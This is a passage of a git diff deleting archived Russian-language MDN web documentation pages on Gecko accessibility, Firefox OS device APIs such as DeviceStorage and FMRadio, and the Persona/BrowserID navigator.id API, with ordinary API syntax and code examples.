- <li><a class="external" href="http://www.openkomodo.com/">Open Komodo</a> - platform for building developer environments</li>
- <li><a class="external" href="http://www.getmiro.com/">Miro</a> - a free, open source internet tv and video player</li>
- <li>Any XulRunner application (<a class="external" href="http://www.songbirdnest.com/">Songbird media player</a>, etc.)</li>
- <li>Extensions to other XUL apps (e.g. <a class="external" href="http://addons.mozilla.org">Firefox extensions</a>)</li>
-</ul>
-
-<h3 id="Gecko_Version" name="Gecko_Version">Gecko Version</h3>
-
-<p>For Firefox and all other Gecko-based products: this documentation applies to up-to-date product builds based on Gecko 1.9.2 -- currently not available on official releases. However most of described features are supported starting from Gecko 1.9.0 (Firefox 3.0). However it's preferable to grab the current build of Firefox or any other Gecko-based product to be up to dated:</p>
-
-<ul>
- <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/">Firefox</a> recent builds</li>
- <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/thunderbird/nightly/latest-trunk/">Thunderbird</a> recent builds</li>
- <li><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/seamonkey/nightly/latest-trunk/">Seamonkey</a> recent builds</li>
-</ul>
-
-<h3 id="Determining_if_Accessibility_is_Enabled_in_a_Firefox">Determining if Accessibility is Enabled in a Firefox</h3>
-
-<p>Accessibility is enabled on Windows and Linux platforms by default. As well you might find helpful the <a class="link-https" href="https://addons.mozilla.org/firefox/2407/">about:accessibilityenabled Firefox</a> extension.</p>
-
-<h2 id="Supported_AT_APIs" name="Supported_AT_APIs">Supported AT APIs</h2>
-
-<h3 id="AT_APIs_terms" name="AT_APIs_terms">AT APIs terms</h3>
-
-<dl>
- <dt><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/msaa/msaastart_9w2t.asp">Microsoft Active Accessibility (MSAA)</a></dt>
- <dd>an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with <a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4179742f-1f3d-4115-a8ba-2f7a6022b533&amp;displaylang=en">MSAA SDK 1.3</a>. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important).</dd>
- <dt><a class="external" href="http://www.linux-foundation.org/en/Accessibility/IAccessible2">IAccessible2 (IA2)</a></dt>
- <dd>IAccessible2 is a new accessibility API which complements Microsoft's earlier work on MSAA. This API fills critical accessibility API gaps in the MSAA offering.</dd>
- <dt><a class="external" href="http://www.gnome.org/~billh/at-spi-idl/html/">Assistive Technology Service Provider Interface (AT-SPI)</a></dt>
- <dd>an API devised by Sun Microsystems so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand AT-SPI, you'll need to read the docs on gnome.org and play with the available sample apps and code, such as at-poke. Please note that the web docs are sometimes out of date, and the <a class="external" href="http://cvs.gnome.org/viewcvs/at-spi/">latest AT-SPI is available on CVS</a>.</dd>
- <dt><a class="external" href="http://www.apple.com/macosx/features/universalaccess/">Universal Access (UA)</a></dt>
- <dd>Universal Access (UA) is the Apple's accessibility framework.</dd>
-</dl>
-
-<h3 id="Windows_platform" name="Windows_platform">Windows platform</h3>
-
-<p>We support MSAA (Microsoft Active Accessibility) and IAccessible2 on Windows. Also we expose <a href="/en/Accessibility/AT-APIs/ImplementationFeatures/MSAA#Additional_DOM_Support" title="en/Accessibility/AT-APIs/ImplementationFeatures/MSAA#Additional_DOM_Support">MS COM interfaces</a> ISimpleDOM* to provide an access to DOM tree.</p>
-
-<p>IAccessible2 is a set of interfaces that overlay the MSAA (IAccessible) and DOM (ISimpleDOM*) interface support. Any object that supports IAccessible will also support IAccessible2 and possibly any of the other IA2 interfaces.</p>
-
-<h3 id="Linux.2FUnix_platform" name="Linux.2FUnix_platform">Linux/Unix platform</h3>
-
-<p>We support ATK/AT-SPI interfaces on Linux.</p>
-
-<h3 id="Mac_platform" name="Mac_platform">Mac platform</h3>
-
-<p>We currently support only a subset of Universal Access. The rest of the <a class="external" href="http://wiki.mozilla.org/Mac:Accessibility">Mozilla Universal Access support</a> is in progress.</p>
-
-<h2 id="Accessible_Web_Specifications" name="Accessible_Web_Specifications">Accessible Web Specifications</h2>
-
-<p>Gecko exposes the number of XML languages including HTML to AT. Refer to <a href="/en/Accessibility/AT-APIs/Web_Specifications" title="en/ARIA_User_Agent_Implementors_Guide">accessible web specifications page</a> to learn what and how markup languages are exposed.</p>
-
-<h2 id="AT_APIs_Supported_Features_Details" name="AT_APIs_Supported_Features_Details">AT APIs Implementation Details</h2>
-
-<p>Refer to <a href="/En/Accessibility/AT-APIs/Implementation_Details" title="en/Accessibility/AT-APIs/Implementation_Details">implementation details page</a> to see how Gecko supports interesting AT API. There you will find information how AT API interfaces, roles, states and etc are mapped into Gecko accessibility API and visa versa.</p>
-
-<h2 id="Keyboard_User_Interface_and_API" name="Keyboard_User_Interface_and_API">Keyboard User Interface and API</h2>
-
-<p>Fortunately, Gecko uses the standard keyboard API's for each supported platform. The Mozilla keyboard shortcuts for content are similar to what is used in other browsers. Here is a list of <a class="external" href="http://www.mozilla.org/support/firefox/keyboard">Firefox keyboard shortcuts</a>.</p>
-
-<h2 id="Test_Tools" name="Test_Tools">Test Tools</h2>
-
-<p>Here you will find a list of tools to test accessibility Gecko-based applications.</p>
-
-<ul>
- <li>MSAA
- <ul>
- <li><a class="external" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4179742F-1F3D-4115-A8BA-2F7A6022B533&amp;displaylang=en">MSAA SDK tools</a> - version 1.3 is recommended instead of 2.0 because it includes source code for the tools</li>
- </ul>
- </li>
- <li>IAccessible2
- <ul>
- <li><a class="external" href="http://www.eclipse.org/actf/downloads/">Accessibility Probe</a> -- includes MSAA support as well</li>
- </ul>
- </li>
- <li>ATK/AT-SPI
- <ul>
- <li><a class="external" href="http://live.gnome.org/Accerciser">Accerciser</a> - interactive Python accessibility explorer for the GNOME desktop</li>
- </ul>
- </li>
- <li>Gecko
- <ul>
- <li><a class="external" href="http://www.mozilla.org/projects/inspector/">DOM Inspector</a> has an ability to test Gecko accessibility layer, supports base features.</li>
- <li>Firebug</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Screen_Readers" name="Screen_Readers">Screen Readers</h2>
-
-<p>Here's a list of screen readers we are oriented to in the first place.</p>
-
-<ul>
- <li>Windows platform
- <ul>
- <li><a class="external" href="http://www.freedomscientific.com/fs_products/software_jaws.asp">JAWS</a></li>
- <li><a class="external" href="http://www.gwmicro.com/">Windows Eyes</a></li>
- <li><a class="external" href="http://www.nvda-project.org/">NVDA</a></li>
- </ul>
- </li>
- <li>Linux/Unix platform
- <ul>
- <li><a class="external" href="http://live.gnome.org/Orca">Orca</a></li>
- </ul>
- </li>
- <li>OS X platform
- <ul>
- <li><a class="external" href="http://www.apple.com/accessibility/voiceover/">VoiceOver</a></li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Contacts" name="Contacts">Contacts</h2>
-
-<p>Please discuss accessibility issues on the <a class="external" href="http://groups.google.com/group/mozilla.dev.accessibility/topics">Mozilla Accessibility groups</a> or on the <a class="link-irc" href="irc://irc.mozilla.org/accessibility">Mozilla Accessibility IRC channel</a>.</p>
diff --git a/files/ru/web/api/devicestorage/index.html b/files/ru/web/api/devicestorage/index.html
deleted file mode 100644
index 00c3b20192..0000000000
--- a/files/ru/web/api/devicestorage/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: DeviceStorage
-slug: Web/API/DeviceStorage
-tags:
- - API
- - Device Storage
- - WebAPI
-translation_of: Archive/B2G_OS/API/DeviceStorage
----
-<p>{{ ApiRef() }}</p>
-<p>{{ non-standard_header() }}</p>
-<p>{{ B2GOnlyHeader2('certified') }}</p>
-<h2 id="Введение">Введение</h2>
-<p><code>DeviceStorage</code> — интерфейс, используемый для доступа к файлам в особом хранилище (или <em>области хранения</em>), доступном на устройстве. Это хранилище, по сути, является файловой системой — хотя оно на самом деле скрывает нижележащую файловую системы.</p>
-<p><span style="line-height: 1.5;">Чтобы получить доступ к хранилищу, необходимо использовать метод {{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}} , возвращающую объекты </span><code style="font-style: normal; line-height: 1.5;">DeviceStorage</code><span style="line-height: 1.5;">. Затем вы сможете использовать методы и свойства этих объектов, чтобы получить доступ к содержимому хранилища.</span></p>
-<h2 id="Свойства">Свойства</h2>
-<dl>
- <dt>
- {{domxref("DeviceStorage.storageName")}} {{readonlyinline}}</dt>
- <dd>
- Строка, представляющая имя области хранения. Та же, что используется при вызове {{domxref("window.navigator.getDeviceStorage()","getDeviceStorage")}} чтобы получить объект <code>DeviceStorage</code>.</dd>
- <dt>
- {{domxref("DeviceStorage.default")}} {{readonlyinline}}</dt>
- <dd>
- Логическое значение, указывающее, назначено ли это хранилище по умолчанию для хранения новых файлов <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">true</code><span style="line-height: 1.5;">) или нет (</span><code style="font-style: normal; line-height: 1.5;">false</code><span style="line-height: 1.5;">).</span></dd>
-</dl>
-<h3 id="Обработчики_событий">Обработчики событий</h3>
-<dl>
- <dt>
- {{domxref("DeviceStorage.onchange")}}</dt>
- <dd>
- Обрабатывает событие {{event("change")}}. Это событие происходит каждый раз, когда содержимое хранилища меняется.</dd>
-</dl>
-<h2 id="Функции">Функции</h2>
-<dl>
- <dt>
- {{ domxref("DeviceStorage.add()") }}</dt>
- <dd>
- Создает файл в области хранения. Имя файла генерируется автоматически.</dd>
- <dt>
- {{ domxref("DeviceStorage.addNamed()") }}</dt>
- <dd>
- Создает файл в области хранения. Имя файла задается при вызове функции.</dd>
- <dt>
- {{ domxref("DeviceStorage.available()") }}</dt>
- <dd>
- Возвращает <code><em>available</em></code> если хранилище доступно для использования и <code><em>shared</em></code> если устройство подключено к ПК.</dd>
- <dt>
- {{ domxref("DeviceStorage.delete()") }}</dt>
- <dd>
- Удаляет файл из области хранения.</dd>
- <dt>
- {{ domxref("DeviceStorage.enumerate()") }}</dt>
- <dd>
- Возвращает список файлов, доступных в области хранения. Полученные файлы доступны только для чтения.</dd>
- <dt>
- {{ domxref("DeviceStorage.enumerateEditable()") }}</dt>
- <dd>
- Возвращает список файлов, доступных в области хранения.</dd>
- <dt>
- {{ domxref("DeviceStorage.freeSpace()") }}</dt>
- <dd>
- Возвращает количество свободного места, доступного в области хранения.</dd>
- <dt>
- {{ domxref("DeviceStorage.get()") }}</dt>
- <dd>
- Возвращает файлы, доступные только для чтения.</dd>
- <dt>
- {{ domxref("DeviceStorage.getEditable()") }}</dt>
- <dd>
- Возвращает файлы, доступные для редактирования.</dd>
- <dt>
- {{ domxref("DeviceStorage.usedSpace()") }}</dt>
- <dd>
- Возвращает количество занятого места в области хранения.</dd>
-</dl>
-<h2 id="Обработчики_событий_2">Обработчики событий</h2>
-<p>Функции, наследованные от {{domxref("EventTarget")}} интерфейса:</p>
-<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
-<h2 id="Specification" name="Specification">Спецификация</h2>
-<p>Не является частью какой-либо спецификации.</p>
-<h2 id="Смотрите_также">Смотрите также</h2>
-<ul>
- <li>{{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}}</li>
- <li><a href="/en-US/docs/WebAPI/Device_Storage" title="/en-US/docs/WebAPI/Device_Storage">Device Storage API</a></li>
- <li><a href="/en-US/docs/WebAPI/FileHandle" title="/en-US/docs/WebAPI/FileHandle">FileHandler API</a></li>
-</ul>
diff --git a/files/ru/web/api/fmradio/index.html b/files/ru/web/api/fmradio/index.html
deleted file mode 100644
index 0d889f3956..0000000000
--- a/files/ru/web/api/fmradio/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: FMRadio
-slug: Web/API/FMRadio
-translation_of: Archive/B2G_OS/API/FMRadio
----
-<p>{{ APIRef("FMRadio API")}}{{ non-standard_header() }}</p>
-
-<p>{{ B2GOnlyHeader2('installed') }}</p>
-
-<h2 id="Summary">Summary</h2>
-
-<p>WebFM API предоставляет доступ к модулю FM радио устройства. Этот интерфейс поможет Вам включить или выключить FM радио и настроить его на нужную станцию. Это достижимо с помощью параметра {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}}.</p>
-
-<h2 id="Обзор_API">Обзор API</h2>
-
-<pre>interface FMRadio : EventTarget {
-   readonly attribute boolean enabled;
-   readonly attribute boolean antennaAvailable;
-   readonly attribute double frequency;
- readonly attribute double frequencyUpperBound;
- readonly attribute double frequencyLowerBound;
- readonly attribute double channelWidth;
-
-   attribute Function onantennaavailablechange;
-   attribute Function onfrequencychange;
-   attribute Function onenabled;
-   attribute Function ondisabled;
-
-   DOMRequest enable(double frequency);
-   DOMRequest disable();
-   DOMRequest setFrequency(double frequency);
-   DOMRequest seekUp();
-   DOMRequest seekDown();
-   DOMRequest cancelSeek();
-}</pre>
-
-<h2 id="Параметры">Параметры</h2>
-
-<dl>
- <dt>{{domxref("FMRadio.enabled")}}</dt>
- <dd>Показывает играет ли радио</dd>
- <dt>{{domxref("FMRadio.antennaAvailable")}}</dt>
- <dd>Показывает доступна ли антенна</dd>
- <dt>{{domxref("FMRadio.frequency")}}</dt>
- <dd>Текущая частота радио.</dd>
- <dt>{{domxref("FMRadio.frequencyUpperBound")}}</dt>
- <dd>Максимальная частота по которой можно найти радиостанцию</dd>
- <dt>{{domxref("FMRadio.frequencyLowerBound")}}</dt>
- <dd>Минимальная частота по которой можно найти радиостанцию</dd>
- <dt>{{domxref("FMRadio.channelWidth")}}</dt>
- <dd>Частота текущей радиостанции, в МГц.</dd>
-</dl>
-
-<h3 id="Event_handlers">Event handlers</h3>
-
-<dl>
- <dt>{{domxref("FMRadio.onenabled")}}</dt>
- <dd>A handler for the {{event("enabled")}} event; It is triggered when the radio has been turned on</dd>
- <dt>{{domxref("FMRadio.ondisabled")}}</dt>
- <dd>A handler for the {{event("disabled")}} event; It is triggered when the radio has been turned off</dd>
- <dt>{{domxref("FMRadio.onantennaavailablechange")}}</dt>
- <dd>A handler for the {{event("antennaavailablechange")}} event; It is triggered when an antenna is plugged or unplugged</dd>
- <dt>{{domxref("FMRadio.onfrequencychange")}}</dt>
- <dd>A handler for the {{event("frequencychange")}} event; It is triggered whenever the radio frequency is changed</dd>
-</dl>
-
-<h2 id="Методы">Методы</h2>
-
-<dl>
- <dt>{{domxref("FMRadio.enable()")}}</dt>
- <dd>Turns on the radio on the given frequency. This function throws if called with no argument. Returns a {{domxref("DOMRequest")}} for the success or error of the operation.</dd>
- <dt>{{domxref("FMRadio.disable()")}}</dt>
- <dd>Turns the radio off. Returns a {{domxref("DOMRequest")}} which success indicates that the radio has properly been disabled</dd>
- <dt>{{domxref("FMRadio.setFrequency()")}}</dt>
- <dd>Asynchronously changes the radio frequency. The value has to be between <code>frequencyLowerBound</code> and <code>frequencyUpperBound</code>. Trying to set outside the bounds results in an error.</dd>
- <dd>Returns a {{domxref("DOMRequest")}} which success indicates the frequency has properly been changed.</dd>
- <dt>{{domxref("FMRadio.seekUp()")}}</dt>
- <dd>Asks the radio to find a new frequency (usually greater than the current one). If one is successfully found, a <code>frequencychange</code> event is fired. Returns a {{domxref("DOMRequest")}} which success indicates that the search has started. The search circles back to lower frequencies when the highest frequency has been reached.</dd>
- <dt>{{domxref("FMRadio.seekDown()")}}</dt>
- <dd>Same as above, but searching in frequencies lower than the current one. The search cirlces back to higher frequencies when the lowest frequency has been reached.</dd>
- <dt>{{domxref("FMRadio.cancelSeek()")}}</dt>
- <dd>Cancels the radio seek if one was happening. Returns a {{domxref("DOMRequest")}} which success indicates that the frequency search has been cancelled.</dd>
-</dl>
-
-<h2 id="Спецификация">Спецификация</h2>
-
-<p>Ещё нет спецификаций.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/ru/docs/WebAPI/WebFM_API" title="/ru/docs/WebAPI/WebFM_API">WebFM API</a></li>
- <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">Gaia radio app</a></li>
-</ul>
diff --git a/files/ru/web/api/identitymanager/index.html b/files/ru/web/api/identitymanager/index.html
deleted file mode 100644
index 01b4a96364..0000000000
--- a/files/ru/web/api/identitymanager/index.html
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: IdentityManager
-slug: Web/API/IdentityManager
-tags:
- - API
- - Persona
- - Reference
-translation_of: Archive/IdentityManager
----
-<p>{{APIRef("Persona")}}{{non-standard_header}}</p>
-
-<p>The <strong><code>IdentityManager</code></strong> of the  <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> exposes the BrowserID API, via {{domxref("navigator.id")}}. This API has gone through several significant revisions. Each generation is listed separately below.</p>
-
-<h2 id="ObserverMethods" name="ObserverMethods">The "Observer" API (Current)</h2>
-
-<p>The Observer API introduces much-requested features, such as an improved post-verification experience for first-time users, automatic persistent logins, and easier integration with native applications.</p>
-
-<dl>
- <dt>{{ domxref("IdentityManager.watch()")}}</dt>
- <dd>Registers callbacks to be invoked when a user logs into or out of a website.</dd>
- <dt>{{ domxref("IdentityManager.request()")}}</dt>
- <dd>Requests a signed identity assertion from the user.</dd>
- <dt>{{ domxref("IdentityManager.logout()")}}</dt>
- <dd>Logs the user out of a website and prevents the <code>onlogin</code> action from automatically firing on their next visit.</dd>
-</dl>
-
-<div class="note">
-<p>Users with third-party cookies disabled may experience problems logging in using the Observer API as detailed in <a href="https://github.com/mozilla/browserid/issues/2999" title="https://github.com/mozilla/browserid/issues/2999">issue 2999</a>.</p>
-</div>
-
-<h2 id="CallbackMethods" name="CallbackMethods">The "Callback" API (Current)</h2>
-
-<p>The Callback API was introduced in November 2011. It improved upon the initial API by allowing options to be passed to <code>navigator.id.get()</code> and offering experimental support for BrowserID-managed persistent sessions.</p>
-
-<dl>
- <dt>{{ domxref("IdentityManager.get()")}}</dt>
- <dd>Gets the user's BrowserID in a signed assertion.</dd>
-</dl>
-
-<h2 id="VerifiedEmailMethods" name="VerifiedEmailMethods">The "VerifiedEmail" API (Deprecated)</h2>
-
-<p>The VerifiedEmail API was BrowserID's first API. It was deprecated at the end of 2011.</p>
-
-<dl>
- <dt>{{ domxref("IdentityManager.getVerifiedEmail()")}} {{ deprecated_inline() }}</dt>
- <dd>Gets the user's BrowserID in a signed assertion. This method is deprecated; {{ domxref("navigator.id.get()")}} is backwards compatible and can be used instead.</dd>
-</dl>
diff --git a/files/ru/web/api/identitymanager/request/index.html b/files/ru/web/api/identitymanager/request/index.html
deleted file mode 100644
index 2923f0a359..0000000000
--- a/files/ru/web/api/identitymanager/request/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: navigator.id.request
-slug: Web/API/IdentityManager/request
-tags:
- - API
- - BrowserID
- - DOM
- - Persona
- - Безопасность
- - Использование
- - Настройка
- - Справка
- - запрос
- - метод
- - не стандартный
- - справка DOM
- - справка Gecko DOM
-translation_of: Archive/IdentityManager/request
----
-<div>{{ ApiRef }}</div>
-
-<h2 id="Summary" name="Summary">Кратко</h2>
-
-<p>Эта функция позволяет использовать <a href="/en-US/docs/Persona" title="BrowserID">Persona</a> для аутентификации пользователей на вебсайте. Она должна вызываться внутри обработки щелчка мыши, к примеру, вы должны вызвать её, когда пользователь щелкнул по кнопке «Войти с помощью Persona».</p>
-
-<p>Когда функция <code>navigator.id.request()</code> вызвана она попросит пользователя выбрать адрес электронной почты, который он желает использовать для входа, а также попросит пройти процедуру аутентификации у поставщика услуг (электронной почты, <em>прим. переводчика</em>), если срок сертификата пользователя истёк. После этого, она создаёт подписанную <strong>заявку</strong> (assertion), содержащую адрес эл.почты пользователя и передаёт эту заявку функции <code>onlogin</code>, зарегистрированной с помощью {{domxref("navigator.id.watch()")}}.</p>
-
-<p>Эта функция должна использоваться <strong>обязательно</strong> в связке с  {{domxref("navigator.id.watch()")}}<code>.</code></p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox">navigator.id.request();
-navigator.id.request({siteName: 'Название сайта', siteLogo: '/logo.png'});
-navigator.id.request({termsOfService: '/tos.html', privacyPolicy: '/privacy.html'});
-</pre>
-
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-
-<dl>
- <dt><code>backgroundColor</code> {{ optional_inline() }}</dt>
- <dd>Шестнадцатеричный код цвета для фона диалогового окна. Формат: <code>"#rgb"</code> или <code>"#rrggbb"</code>.</dd>
- <dt><code>oncancel</code> {{ optional_inline() }}</dt>
- <dd>Функция, которую следует вызвать в случае отказа пользователя предоставить свой идентификатор сайту.</dd>
- <dt><code>privacyPolicy</code> {{ optional_inline() }}</dt>
- <dd><em>Должен передаваться по SSL. Так же должен быть передан параметр <code>termsOfService </code>(Условия Предоставления Услуг).</em></dd>
- <dd>Абсолютный путь или URL до описания политики конфиденциальности веб-сайта. Если этот параметр предоставлен, тогда так же должен быть предоставлен параметр <code>termsOfService</code>. Когда оба эти параметра (<code>termsOfService</code> и <code>privacyPolicy</code>) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.</dd>
- <dt><code>returnTo</code> {{ optional_inline() }}</dt>
- <dd>Абсолютный путь на который будут отправлены новые пользователи, закончившие процедуру проверки эл.почты в первый раз. Путь должен начинаться с '<code>/</code>'. Этот параметр действует только на тех пользователей, которые проходят сертификацию через запсную Службу Предоставления Идентификаторов от Mozilla <em>(Mozilla's Identity Provider, - прим.)</em>. Предоставляемое значение должно указывать реально существующий путь, который может быть использован так же в качестве локации окна – window.location.</dd>
- <dt><code>siteLogo</code> {{ optional_inline() }}</dt>
- <dd><em>Должен передаваться по SSL.</em></dd>
- <dd>Абсолютный путь до изображения, которое будет отображаться в диалоговом окне входа. Путь должен начинаться с '<code>/</code>'. Изображения, превышающие размер 100x100 пикселей будут маштабированы до этого размера.</dd>
- <dt><code>siteName</code> {{ optional_inline() }}</dt>
- <dd>Название вашего сайта, которое будет отображаться в диалоговом окне входа в формате простого текста <em>(plain text - прим.)</em>. Допустимы символы Юникода и пробельные символы, но не разметка.</dd>
- <dt><code>termsOfService</code> {{ optional_inline() }}</dt>
- <dd><em>Должен передаваться по SSL. Так же должен быть предоставлен параметр <code>privacyPolicy</code></em> <em>(Политика Конфиденциальности).</em></dd>
- <dd>Абсолютный путь или URL адрес до описания условий предоставления услуг веб-сайта. Если этот параметр указан, тогда так же должен быть указан параметр <code>privacyPolicy</code>.  Когда оба эти параметра (<code>termsOfService</code> и <code>privacyPolicy</code>) переданы диалоговое окно входа будет содержать предупреждение для пользователя: "продолжив вход, вы соглашаетесь с политиками использования и конфиденциальности сайта". Так же в диалоговом окне будут размещены ссылки на описания этих политик.</dd>
-</dl>
-
-<h2 id="Example" name="Example">Пример</h2>
-
-<pre class="brush:js;">var signinLink = document.getElementById('signin');
-
-if (signinLink) {
- signinLink.onclick = function(evt) {
- // Запрашивает подписанную идентификационную заявку от пользователя.
- navigator.id.request({
- siteName: 'Мой Сайт',
- siteLogo: '/logo.png',
- termsOfService: '/tos.html',
- privacyPolicy: '/privacy.html',
- returnTo: '/welcome.html',
- oncancel: function() { alert('Пользователь отказался идентифицироваться.'); }
- });
- };
-}</pre>
-
-<h2 id="Specification" name="Specification">Технические описания (Спецификации)</h2>
-
-<p>Не включена ни в одно техническое описание.</p>
-
-<h2 id="See_also" name="See_also">Также смотрите</h2>
-
-<ul>
- <li><a href="/ru/Persona" title="BrowserID">BrowserID</a></li>
- <li>{{domxref("navigator.id")}}</li>
- <li>{{domxref("navigator.id.watch()")}}</li>
- <li>{{domxref("navigator.id.logout()")}}</li>
-</ul>
diff --git a/files/ru/web/api/navigator/getdatastores/index.html b/files/ru/web/api/navigator/getdatastores/index.html
deleted file mode 100644
index 5c3b1d7fab..0000000000
--- a/files/ru/web/api/navigator/getdatastores/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Navigator.getDataStores()
-slug: Web/API/Navigator/getDataStores
-translation_of: Archive/B2G_OS/API/Navigator/getDataStores
----
-<div>{{APIRef("Data Store API")}} {{ non-standard_header }} {{ B2GOnlyHeader2('certified') }}</div>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Метод <strong><code>navigator.getDataStores()</code></strong> предоставляющий доступ к списку <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API </a>хранилищ данных доступных на устройстве.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox">navigator.getDataStores('contacts').then(function(stores) {
-  // сделать что-либо с массивом хранилищ данных в хранилище.
-});</pre>
-
-<h3 id="Параметры">Параметры</h3>
-
-<dl>
- <dt><code>storeName</code></dt>
- <dd>Имя хранилища данных которое вы хотите вернуть. Возвращается массив, потому что <span id="result_box" lang="ru"><span>может</span> <span class="hps">быть</span> <span class="hps">несколько</span> <span class="hps">хранилищ данных</span> <span class="hps">с таким же именем</span><span>.</span></span></dd>
-</dl>
-
-<h3 id="Возврат">Возврат</h3>
-
-<p>Объект {{jsxref("Promise")}} который будет связан с массивом объекта {{domxref("DataStore") }}.</p>
-
-<h2 id="Пример">Пример</h2>
-
-<pre class="brush: js language-js"><code class="language-js"><span class="punctuation token">navigator.getDataStores('contacts').then(function(stores) {
-  stores[0].getLength().then(function(storeLength) {
-    if(storeLength == 0) {
-      for(i = 0; i &lt; contactsInit.length; i++) {
-        addContact(stores[0],contactsInit[i]);
-      };
-    } else {
-      var cursor = stores[0].sync();
-      runNextTask(cursor);
-    }
-  });
-});</span></code></pre>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<p>{{page("/en-US/docs/Web/API/Data_Store_API","Specifications")}}</p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<p>{{page("/en-US/docs/Web/API/Data_Store_API","Browser_compatibility")}}</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Data_Store_API/Using_the_Data_Store_API">Using the Data Store API</a></li>
- <li><a class="external external-icon" href="https://github.com/mdn/data-store-contacts-editor">Data Store Contacts Editor example</a></li>
- <li><a class="external external-icon" href="https://github.com/mdn/data-store-contacts-viewer">Data Store Contacts Viewer example</a></li>
-</ul>
diff --git a/files/ru/web/api/navigator/id/index.html b/files/ru/web/api/navigator/id/index.html
deleted file mode 100644
index ba98e02cf6..0000000000
--- a/files/ru/web/api/navigator/id/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Navigator.id
-slug: Web/API/Navigator/id
-tags:
- - DOM
- - Reference
- - Référence(2)
-translation_of: Archive/Navigator-id
----
-<div>{{ ApiRef("Persona") }}</div>
-
-<h2 id="Summary" name="Summary">Summary</h2>
-
-<p>The <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> defines a new <code>id</code> property on the {{ domxref ("window.navigator")}} object, through which it exposes the BrowserID API, that is the {{domxref("IdentityManager")}} intreface. This API has gone through several significant revisions. Each generation is listed separately below.</p>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre>var id = navigator.id</pre>
-
-<p> </p>
diff --git a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html b/files/ru/web/api/navigator/mozaudiochannelmanager/index.html
deleted file mode 100644
index e8a42e9207..0000000000
--- a/files/ru/web/api/navigator/mozaudiochannelmanager/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: Navigator.mozAudioChannelManager
-slug: Web/API/Navigator/mozAudioChannelManager
-translation_of: Archive/B2G_OS/API/Navigator/mozAudioChannelManager
----
-<p>{{APIRef("Firefox OS")}}{{Non-standard_header}}</p>
-
-<p>Объект <code>navigator.mozAudioChannelManager</code> предоставляющий доступ к интерфейсу  {{domxref("mozAudioChannelManager")}} который используется для  управления аудио каналами вашего устроства Firefox OS включая настройки эффекта громкости канала, когда <span id="result_box" lang="ru"><span class="hps">кнопки регулировки громкости</span> <span class="hps">нажимаются</span> <span class="hps">внутри</span> <span class="hps">конкретного</span> <span class="hps">приложения.</span></span></p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox">var mgr = window.navigator.mozAudioChannelManager;</pre>
-
-<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
-
-<p>A {{domxref("mozAudioChannelManager")}} object.</p>
-
-<h2 id="Спецификация">Спецификация</h2>
-
-<p>{{page("/en-US/docs/Web/API/mozAudioChannelManager","Specifications")}}</p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<p>{{page("/en-US/docs/Web/API/mozAudioChannelManager","Browser_compatibility")}}</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li>{{domxref("mozAudioChannelManager")}}</li>
- <li><a href="/en-US/Apps/Build/App_permissions">Приложения доступные в Firefox OS</a></li>
- <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Использование AudioChannels API</a></li>
-</ul>
diff --git a/files/ru/web/api/navigator/mozcamera/index.html b/files/ru/web/api/navigator/mozcamera/index.html
deleted file mode 100644
index 620fba2e0e..0000000000
--- a/files/ru/web/api/navigator/mozcamera/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Navigator.mozCamera
-slug: Web/API/Navigator/mozCamera
-translation_of: Archive/B2G_OS/API/Navigator/mozCamera
----
-<p>{{APIRef("Firefox OS")}}</p>
-
-<p>{{ non-standard_header() }}</p>
-
-<p>{{B2GOnlyHeader2('privileged')}}</p>
-
